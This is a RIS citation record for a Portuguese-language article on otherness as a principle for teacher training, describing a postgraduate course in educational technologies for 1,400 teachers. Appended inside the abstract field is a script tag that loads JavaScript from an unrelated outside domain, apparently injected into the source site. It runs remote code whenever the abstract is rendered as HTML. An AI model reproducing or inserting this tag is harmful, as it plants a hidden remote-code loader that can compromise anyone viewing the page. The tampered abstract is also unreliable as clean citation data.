TY - JOUR AU - Campos, Gilda Helena Bernardino de PY - 2009/10/07 Y2 - 2024/03/29 TI - Alteridade como princípio para a formação de professores JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 10 IS - 2 SE - Relato de Experiência DO - 10.20396/etd.v10i2.989 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/989 SP - 271-290 AB - <p align="justify">O artigo apresenta os pressupostos, a fundamentação pedagógica e a estrutura do curso de especialização- pós-graduação lato sensu - em Tecnologias em Educação oferecido em sua primeira versão para 1 400 professores da rede estadual e municipal do país. O artigo ainda aponta para as estruturas pedagógicas utilizadas no curso e como estas apresentam o conteúdo gerador e, a partir daí, a formação da comunidade de aprendizagem mediada pelo professor- tutor, um dos atores do processo de desenvolvimento do curso. </p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -